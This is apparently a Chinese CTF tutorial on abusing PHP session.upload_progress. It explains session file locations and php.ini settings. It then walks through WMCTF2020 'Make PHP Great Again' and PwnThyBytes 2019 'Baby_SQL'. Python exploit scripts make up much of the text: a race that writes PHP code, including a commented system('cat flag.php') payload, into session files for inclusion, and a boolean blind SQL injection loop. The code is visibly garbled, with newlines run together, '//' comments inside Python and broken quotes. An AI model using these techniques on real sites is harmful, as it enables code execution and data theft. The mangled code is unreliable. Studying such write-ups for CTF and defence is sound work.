PHP Session條件競(jìng)爭(zhēng)超詳細(xì)講解
PHP SESSION 的存儲(chǔ)
Session會(huì)話存儲(chǔ)方式
PHP將session以文件的形式存儲(chǔ)服務(wù)器的文件中,session.save_path來(lái)控制
默認(rèn)路徑
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默認(rèn)是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段
但是在賽題中大多數(shù)都是/tmp目錄下,需要php.ini力sesion.auto_start設(shè)置為1,然后修改目錄
session.auto_start
:如果開啟這個(gè)選項(xiàng),則PHP在接收請(qǐng)求的時(shí)候會(huì)自動(dòng)初始化Session,不再需要執(zhí)行session_start()。但默認(rèn)情況下,也是通常情況下,這個(gè)選項(xiàng)都是默認(rèn)關(guān)閉的。
session.upload_progress.cleanup = on
:表示當(dāng)文件上傳結(jié)束后,php將會(huì)立即清空對(duì)應(yīng)session文件中的內(nèi)容。該選項(xiàng)默認(rèn)開啟
session.use_strict_mode
:默認(rèn)情況下,該選項(xiàng)的值是0,此時(shí)用戶可以自己定義Session ID。
使用 Python 實(shí)現(xiàn)創(chuàng)建 Session 文件的過(guò)程:
import ioimport requestsimport threadingsessid = "whoami"def POST(session): f = io.BytesIO(b"a" * 1024 * 50) session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用來(lái)改變session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用來(lái)sesssion中的文件名 sess_whoami )with requests.session() as session: while True:POST(session)print("[+] 成功寫入sess_whoami")
[WMCTF2020]Make PHP Great Again
<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) { require_once $_GET["file"];}
這道題是文件包含,已經(jīng)包含過(guò)了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過(guò)
/proc/self指向當(dāng)前進(jìn)程的/proc/pid/
/proc/self/root/是指向/的符號(hào)鏈接
這道題也可以 用條件競(jìng)爭(zhēng)進(jìn)行,
import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True: f = io.BytesIO(b"a" * 1024 * 50) session.post( host, data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"}, "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值 files={ "file":("a.txt", f)}, cookies={ "PHPSESSID":sessid}//改名 )def READ(session): while True: response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路徑# print(response.text) if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5 print("[+++]retry") else: print(response.text) sys.exit(0)with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程 t1.daemon = True //相當(dāng)完成任務(wù)直接結(jié)束,不用等線程全部結(jié)束 t1.start() READ(session)
線程結(jié)束后,想在網(wǎng)頁(yè)獲得php壞境頁(yè)面可是找不到,
希望有師傅解答一下,然后這樣就非常局限,
[PwnThyBytes 2019]Baby_SQL
訪問源碼,獲得source.zip
打開后發(fā)現(xiàn)index.php
<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){ !is_string($value) AND die("Hacking attempt!"); return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>
都要經(jīng)過(guò)最后的過(guò)濾,然后通過(guò)傳參p進(jìn)行包含templates目錄下面的文件
login.php
<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){ $_SESSION["username"] = $user; return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>
發(fā)現(xiàn)就login.php里面沒有過(guò)濾,然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思為如果不存在session就die輸出,前面的為true才執(zhí)行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才執(zhí)行后面的語(yǔ)句。然后這里的意思前面有個(gè)大的括號(hào)里有一個(gè)滿足就會(huì)執(zhí)行$con->close()
,然后這個(gè)執(zhí)行返回true的話就會(huì)執(zhí)行die(“Not allowed!”);
所以如果我們要直接訪問login.php進(jìn)行sql注入的話,還需要帶上一個(gè)session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS
了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS
來(lái)在目標(biāo)服務(wù)器上初始化一個(gè)session,然后便可以繞過(guò)index.php中的檢測(cè),直接訪問login.php進(jìn)行sql注入了。
import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"http://這個(gè)templates是因?yàn)閘ogin.php在這個(gè)目錄下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"}, proxies={"http": "http://127.0.0.1:8080"})通過(guò)這個(gè)接口,burp就可以抓包到print(a.text)
然后對(duì)username進(jìn)行注入,發(fā)現(xiàn)是用"進(jìn)行閉合,然后回顯,可以用盲注實(shí)現(xiàn)
<meta http-equiv="refresh" content="0; url=?p=home" />
import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = { "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text: low = mid +1else: high = midmid = (low + high) // 2 if(mid==32 ):break flag +=chr(mid) print(flag)print(flag)
到此這篇關(guān)于PHP Session條件競(jìng)爭(zhēng)超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP Session內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!
相關(guān)文章:
